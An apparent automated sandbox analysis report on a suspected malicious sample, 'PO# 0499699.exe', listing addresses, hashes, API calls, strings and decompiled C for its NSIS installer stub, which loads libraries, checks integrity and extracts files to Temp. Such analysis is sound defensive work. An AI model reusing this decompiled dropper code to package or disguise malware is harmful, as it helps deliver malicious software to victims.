0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00000000
0x004065d9
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b666163c1661dbd9b8a2e81cbf380ba9933516b4cb578f4d51b52d9bda143bb
Instruction ID: ffbedf2a53f09e030cb941e21afd419a8c3069ec791793070072d3341ca218b9
Opcode Fuzzy Hash: 9b666163c1661dbd9b8a2e81cbf380ba9933516b4cb578f4d51b52d9bda143bb
Instruction Fuzzy Hash: 17F16571D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405CFF, Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CFF(signed int _a4) {
				struct HINSTANCE__* _t5;
				CHAR* _t7;
				signed int _t9;

				_t9 = _a4 << 3;
				_t7 =  *(_t9 + 0x409200);
				_t5 = GetModuleHandleA(_t7);
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t9 + 0x409204));
				}
				_t5 = LoadLibraryA(_t7); // executed
				if(_t5 != 0) {
					goto L2;
				}
				return _t5;
			}

0x00405d07
0x00405d0a
0x00405d11
0x00405d19
0x00405d26
0x00000000
0x00405d2d
0x00405d1c
0x00405d24
0x00000000
0x00000000
0x00405d35

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction ID: d69b72dbe4010a9b48e4a262f362438d38f190b8a9031efe6831075815a54aa0
Opcode Fuzzy Hash: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction Fuzzy Hash: 5DE08C32A04610BBD3215B20AE0896B73A8EED9B403004C7EF615F6251D734AC11DBBA

Uniqueness

Uniqueness Score: -1.00%

Function 00405CD8, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CD8(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x4224c8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4224c8;
			}

0x00405ce3
0x00405cec
0x00000000
0x00405cf9
0x00405cef
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,004224C8,00421880,004055F4,00421880,00421880,00000000,00421880,00421880,?,?,00000000,00405316,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000), ref: 00405CE3
FindClose.KERNEL32(00000000), ref: 00405CEF

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: eaa6d706d35b9193dbeff2470bba944fadabcf5bc74d52a04f68ed274a91c94e
Instruction ID: 9a18407f5d3c0b203e51d924b64f4f6f4a008a27543408caa796c3d3b713bef8
Opcode Fuzzy Hash: eaa6d706d35b9193dbeff2470bba944fadabcf5bc74d52a04f68ed274a91c94e
Instruction Fuzzy Hash: 91D0C93594D620ABD6012728AD0884B6A589B153317508B32F46AE22E0C7748C529AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403526, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00403526() {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				struct HINSTANCE__* _t37;
				int _t38;
				int _t42;
				char _t62;
				CHAR* _t64;
				signed char _t68;
				CHAR* _t79;
				intOrPtr _t81;
				CHAR* _t86;

				_t81 =  *0x423e90;
				_t20 = E00405CFF(6);
				_t88 = _t20;
				if(_t20 == 0) {
					_t79 = 0x420478;
					"1033" = 0x7830;
					E004058C4(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420478, 0);
					__eflags =  *0x420478;
					if(__eflags == 0) {
						E004058C4(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407302, 0x420478, 0);
					}
					lstrcatA("1033", _t79);
				} else {
					E0040593B("1033",  *_t20() & 0x0000ffff);
				}
				E004037EF(_t76, _t88);
				_t85 = "C:\\Users\\jones\\AppData\\Local\\Temp";
				 *0x423f00 =  *0x423e98 & 0x00000020;
				 *0x423f1c = 0x10000;
				if(E004055B1(_t88, "C:\\Users\\jones\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E004055B1(_t96, _t85) == 0) {
						E004059FF(0, _t79, _t81, _t85,  *((intOrPtr*)(_t81 + 0x118)));
					}
					_t28 = LoadImageA( *0x423e80, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x423668 = _t28;
					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E004037EF(_t76, __eflags);
							__eflags =  *0x423f20;
							if( *0x423f20 != 0) {
								_t31 = E00404E4D(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42364c;
								if( *0x42364c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420450, 5);
							_t37 = LoadLibraryA("RichEd20");
							__eflags = _t37;
							if(_t37 == 0) {
								LoadLibraryA("RichEd32");
							}
							_t86 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t86, 0x423620);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x423620);
								 *0x423644 = _t86;
								RegisterClassA(0x423620);
							}
							_t42 = DialogBoxParamA( *0x423e80,  *0x423660 + 0x00000069 & 0x0000ffff, 0, E004038BC, 0);
							E00403476(E0040140B(5), 1);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t76 =  *0x423e80;
						 *0x423634 = _t28;
						_v20 = 0x624e5f;
						 *0x423624 = E00401000;
						 *0x423630 =  *0x423e80;
						 *0x423644 =  &_v20;
						if(RegisterClassA(0x423620) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x420450 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423e80, 0);
						goto L21;
					}
				} else {
					_t76 =  *(_t81 + 0x48);
					if(_t76 == 0) {
						goto L16;
					}
					_t79 = 0x422e20;
					E004058C4( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) +  *0x423eb8, 0x422e20, 0);
					_t62 =  *0x422e20; // 0x43
					if(_t62 == 0) {
						goto L16;
					}
					if(_t62 == 0x22) {
						_t79 = 0x422e21;
						 *((char*)(E004054FB(0x422e21, 0x22))) = 0;
					}
					_t64 = lstrlenA(_t79) + _t79 - 4;
					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
						L15:
						E004059DD(_t85, E004054D0(_t79));
						goto L16;
					} else {
						_t68 = GetFileAttributesA(_t79);
						if(_t68 == 0xffffffff) {
							L14:
							E00405517(_t79);
							goto L15;
						}
						_t96 = _t68 & 0x00000010;
						if((_t68 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x0040352c
0x00403535
0x0040353c
0x0040353e
0x00403552
0x00403564
0x0040356e
0x00403573
0x00403579
0x0040358c
0x0040358c
0x00403597
0x00403540
0x0040354b
0x0040354b
0x0040359c
0x004035a6
0x004035af
0x004035b4
0x004035c5
0x0040364c
0x00403654
0x0040365d
0x0040365d
0x00403673
0x00403679
0x00403687
0x00403716
0x0040371e
0x00403728
0x0040372d
0x00403733
0x004037bd
0x004037c2
0x004037c4
0x004037e0
0x00000000
0x004037e0
0x004037c6
0x004037cc
0x004037d4
0x004037d4
0x00000000
0x004037cc
0x00403741
0x00403752
0x00403754
0x00403756
0x0040375d
0x0040375d
0x00403765
0x0040376d
0x0040376f
0x00403771
0x0040377a
0x0040377d
0x00403783
0x00403783
0x004037a2
0x004037b3
0x00000000
0x004037b8
0x00403720
0x00403722
0x00000000
0x0040368d
0x0040368d
0x00403693
0x0040369d
0x004036a5
0x004036af
0x004036b5
0x004036c3
0x004037e5
0x004037e5
0x00000000
0x004037e5
0x004036c9
0x004036d2
0x00403711
0x00000000
0x00403711
0x004035cb
0x004035cb
0x004035d0
0x00000000
0x00000000
0x004035da
0x004035ea
0x004035ef
0x004035f6
0x00000000
0x00000000
0x004035fa
0x004035fc
0x00403609
0x00403609
0x00403611
0x00403617
0x0040363f
0x00403647
0x00000000
0x00403629
0x0040362a
0x00403633
0x00403639
0x0040363a
0x00000000
0x0040363a
0x00403635
0x00403637
0x00000000
0x00000000
0x00000000
0x00403637
0x00403617

APIs

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

lstrcatA.KERNEL32(1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000,00000006,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403597
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000,00000006,"C:\Users\user\Desktop\PO# 0499699.exe" ), ref: 0040360C
lstrcmpiA.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000), ref: 0040361F
GetFileAttributesA.KERNEL32(Call), ref: 0040362A
LoadImageA.USER32 ref: 00403673

Part of subcall function 0040593B: wsprintfA.USER32 ref: 00405948

RegisterClassA.USER32 ref: 004036BA
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 004036D2
CreateWindowExA.USER32 ref: 0040370B
ShowWindow.USER32(00000005,00000000), ref: 00403741
LoadLibraryA.KERNEL32(RichEd20), ref: 00403752
LoadLibraryA.KERNEL32(RichEd32), ref: 0040375D
GetClassInfoA.USER32 ref: 0040376D
GetClassInfoA.USER32 ref: 0040377A
RegisterClassA.USER32 ref: 00403783
DialogBoxParamA.USER32 ref: 004037A2

Strings

RichEd32, xrefs: 00403758
Call, xrefs: 004035DA, 004035E2, 004035EF, 00403639, 0040363F
RichEdit20A, xrefs: 00403765, 0040376B
1033, xrefs: 00403546, 00403592
C:\Users\user\AppData\Local\Temp\, xrefs: 0040352A
Control Panel\Desktop\ResourceLocale, xrefs: 0040355A
RichEdit, xrefs: 00403774
C:\Users\user\AppData\Local\Temp, xrefs: 004035A6, 004035AE, 00403646, 0040364C, 0040365C
RichEd20, xrefs: 0040374D
.DEFAULT\Control Panel\International, xrefs: 00403582
6B, xrefs: 00403682
"C:\Users\user\Desktop\PO# 0499699.exe" , xrefs: 00403532
_Nb, xrefs: 004036C9, 004036CE
.exe, xrefs: 00403619

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: 6B$"C:\Users\user\Desktop\PO# 0499699.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-4187953481
Opcode ID: ca5c191d662c2f1331136733af7cd9fb3c1208b0aa80a7c8f6e1579a7abb4d19
Instruction ID: 0f3f48bff709b167bb3a38cee6451da723a784a17f6d38f49bc0c0f1e25ee8dd
Opcode Fuzzy Hash: ca5c191d662c2f1331136733af7cd9fb3c1208b0aa80a7c8f6e1579a7abb4d19
Instruction Fuzzy Hash: 9261C5B1A04200BAD6206F659C45E3B3A6DE74474AF40453FF941B62E1D67D9E028B3E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C22, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00402C22(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				long _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				long _t70;
				void* _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				void* _t85;
				signed int _t87;
				void* _t89;
				long _t90;
				long _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\jones\\Desktop\\PO# 0499699.exe";
				 *0x423e8c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\jones\\Desktop\\PO# 0499699.exe", 0x400);
				_t89 = E004056B4(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409014 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\jones\\Desktop";
				E004059DD("C:\\Users\\jones\\Desktop", _t91);
				E004059DD(0x42b000, E00405517(_t92));
				_t50 = GetFileSize(_t89, 0);
				 *0x41f028 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402BBE(1);
					if( *0x423e94 == _t82) {
						goto L29;
					}
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E00403080( *0x423e94 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402E5B(); // executed
						if(_t57 == _v24) {
							 *0x423e90 = _t94;
							 *0x423e98 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x423e9c =  *0x423e9c + 1;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405675(0x423ea0, _t94 + 4, 0x40);
							return 0;
						}
						goto L29;
					}
					E00403080( *0x40b018);
					if(E0040304E( &_a4, 4) == 0 || _v12 != _a4) {
						goto L29;
					} else {
						goto L28;
					}
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x423e94) & 0x00007e00) + 0x200;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E0040304E(0x417028, _t90); // executed
						if(_t71 == 0) {
							E00402BBE(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x423e94 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E00402BBE(0);
							}
							goto L20;
						}
						E00405675( &_v44, 0x417028, 0x1c);
						_t77 = _v44;
						if((_t77 & 0xfffffff0) == 0 && _v40 == 0xdeadbeef && _v28 == 0x74736e49 && _v32 == 0x74666f73 && _v36 == 0x6c6c754e) {
							_a4 = _a4 | _t77;
							_t87 =  *0x40b018; // 0x8200
							 *0x423f20 =  *0x423f20 | _a4 & 0x00000002;
							_t80 = _v20;
							 *0x423e94 = _t87;
							if(_t80 > _t93) {
								goto L29;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v8 = _v8 + 1;
								_t24 = _t80 - 4; // 0x40915c
								_t93 = _t24;
								if(_t90 > _t93) {
									_t90 = _t93;
								}
								goto L20;
							} else {
								break;
							}
						}
						L20:
						if(_t93 <  *0x41f028) {
							_v12 = E00405D6B(_v12, 0x417028, _t90);
						}
						 *0x40b018 =  *0x40b018 + _t90;
						_t93 = _t93 - _t90;
					} while (_t93 > 0);
					_t82 = 0;
					goto L24;
				}
			}

0x00402c2a
0x00402c2d
0x00402c30
0x00402c33
0x00402c39
0x00402c4a
0x00402c4f
0x00402c62
0x00402c67
0x00402c6a
0x00402c70
0x00000000
0x00402c72
0x00402c7d
0x00402c83
0x00402c94
0x00402c9b
0x00402ca3
0x00402ca8
0x00402caa
0x00402d97
0x00402d99
0x00402da5
0x00000000
0x00000000
0x00402daa
0x00402dce
0x00402dd3
0x00402dd9
0x00402de4
0x00402de9
0x00402dec
0x00402ded
0x00402dee
0x00402df0
0x00402df8
0x00402e0f
0x00402e17
0x00402e1c
0x00402e1e
0x00402e1e
0x00402e26
0x00402e26
0x00402e29
0x00402e2a
0x00402e2a
0x00402e2d
0x00402e2f
0x00402e2f
0x00402e39
0x00402e3f
0x00402e4d
0x00000000
0x00402e52
0x00000000
0x00402df8
0x00402db2
0x00402dc4
0x00000000
0x00000000
0x00000000
0x00000000
0x00402cb0
0x00402cb5
0x00402cba
0x00402cbe
0x00402cc5
0x00402ccc
0x00402cce
0x00402cce
0x00402cd2
0x00402cd9
0x00402e03
0x00402dfa
0x00000000
0x00402dfa
0x00402ce6
0x00402d66
0x00402d6a
0x00402d6f
0x00000000
0x00402d66
0x00402cef
0x00402cf4
0x00402cfc
0x00402d22
0x00402d28
0x00402d31
0x00402d37
0x00402d3c
0x00402d42
0x00000000
0x00000000
0x00402d4c
0x00402d54
0x00402d57
0x00402d57
0x00402d5c
0x00402d5e
0x00402d5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00402d4c
0x00402d70
0x00402d76
0x00402d82
0x00402d82
0x00402d85
0x00402d8b
0x00402d8d
0x00402d95
0x00000000
0x00402d95

APIs

GetTickCount.KERNEL32 ref: 00402C33
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\PO# 0499699.exe,00000400), ref: 00402C4F

Part of subcall function 004056B4: GetFileAttributesA.KERNELBASE(00000003,00402C62,C:\Users\user\Desktop\PO# 0499699.exe,80000000,00000003), ref: 004056B8
Part of subcall function 004056B4: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004056DA

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO# 0499699.exe,C:\Users\user\Desktop\PO# 0499699.exe,80000000,00000003), ref: 00402C9B

Strings

Error launching installer, xrefs: 00402C72
Null, xrefs: 00402D19
C:\Users\user\Desktop\PO# 0499699.exe, xrefs: 00402C39, 00402C48, 00402C5C, 00402C7C
soft, xrefs: 00402D10
"C:\Users\user\Desktop\PO# 0499699.exe" , xrefs: 00402C2C
(pA, xrefs: 00402CB0
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402DFA
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C22
Inst, xrefs: 00402D07
C:\Users\user\Desktop, xrefs: 00402C7D, 00402C82, 00402C88

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PO# 0499699.exe" $(pA$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PO# 0499699.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-974024060
Opcode ID: ab55cb2fb14d04616f822991b63ec3f26e4c66ae60ff675e8b93a203c080f69e
Instruction ID: bb8333a86194dcf573844375b596ab0c7c07cd824b72df89bd2f0bbec4532e5a
Opcode Fuzzy Hash: ab55cb2fb14d04616f822991b63ec3f26e4c66ae60ff675e8b93a203c080f69e
Instruction Fuzzy Hash: 21511971A00214ABDB209F65DE89B9E7BB4EF04319F10403BF904B62D1D7BC9E458BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401734, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401734(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E004029F6(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x24) & 0x00000007;
				_t33 = E0040553D(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E004054D0(E004059DD(0x409b50, "C:\\Users\\jones\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409b50);
					E004059DD();
				}
				E00405C3F(0x409b50);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405CD8(0x409b50);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x18);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405695(0x409b50);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E004056B4(0x409b50, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0x34) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404D7B(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x423f08;
						goto L32;
					} else {
						E004059DD(0x40a350, 0x424000);
						E004059DD(0x424000, 0x409b50);
						E004059FF(_t75, 0x40a350, 0x409b50, "C:\Users\jones\AppData\Local\Temp\nspE538.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x10)));
						E004059DD(0x424000, 0x40a350);
						_t62 = E0040529E("C:\Users\jones\AppData\Local\Temp\nspE538.tmp\System.dll",  *(_t85 - 0x24) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x423f08 =  &( *0x423f08->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409b50);
								_push(0xfffffffa);
								E00404D7B();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404D7B(0xffffffea,  *(_t85 - 8));
				 *0x423f34 =  *0x423f34 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0x34));
				_push( *((intOrPtr*)(_t85 - 0x1c)));
				_t43 = E00402E5B(); // executed
				 *0x423f34 =  *0x423f34 - 1;
				__eflags =  *(_t85 - 0x18) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x18) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0x34), _t85 - 0x18, _t75, _t85 - 0x18); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x14)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x14)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t85 - 0x34)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E004059FF(_t75, _t80, 0x409b50, 0x409b50, 0xffffffee);
					} else {
						E004059FF(_t75, _t80, 0x409b50, 0x409b50, 0xffffffe9);
						lstrcatA(0x409b50,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(0x409b50);
					E0040529E();
					goto L29;
				}
				goto L33;
			}

0x00401734
0x0040173b
0x00401744
0x00401747
0x0040174a
0x0040174f
0x00401757
0x00401773
0x00401759
0x00401759
0x0040175a
0x0040175a
0x00401779
0x00401783
0x00401783
0x00401787
0x0040178a
0x0040178f
0x00401791
0x00401793
0x00401798
0x00401798
0x004017a3
0x004017a3
0x004017b4
0x004017b6
0x004017b6
0x004017b7
0x004017b7
0x004017ba
0x004017bd
0x004017c0
0x004017c0
0x004017c7
0x004017d6
0x004017db
0x004017de
0x004017e1
0x00000000
0x00000000
0x004017e3
0x004017e6
0x00401840
0x00401845
0x004015a8
0x0040265c
0x0040265c
0x0040288b
0x0040288e
